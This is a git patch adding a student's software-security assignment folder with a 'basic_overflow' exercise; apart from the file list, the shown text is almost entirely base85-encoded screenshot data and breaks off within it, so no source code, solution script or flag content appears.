From 986a511078d015e949364a73ef450eeb53bcb09a Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Fri, 14 Jun 2024 15:49:15 +0200 Subject: [PATCH] [Assignment-6] renamed assignment directory --- .../abgabe.tex | 0 ...Bildschirmfoto vom 2024-06-14 15-42-29.png | Bin 0 -> 60581 bytes .../basic_overflow/basic_overflow | Bin 0 -> 15656 bytes .../basic_overflow/basic_overflow.c | 24 ++++++++++++++++++ .../basic_overflow/flag | 1 + .../basic_overflow/solution.sh | 14 ++++++++++ 6 files changed, 39 insertions(+) create mode 100644 Assignment 6 - Software Security - Teil 2/abgabe.tex create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png create mode 100755 Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c create mode 100644 Assignment 6 - Software Security - Teil 2/basic_overflow/flag create mode 100755 Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex new file mode 100644 index 0000000..e69de29 diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png new file mode 100644 index 0000000000000000000000000000000000000000..e77df7c1dfb773cfc4f4ce06ad629b920d2ec0fe GIT binary patch literal 60581 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 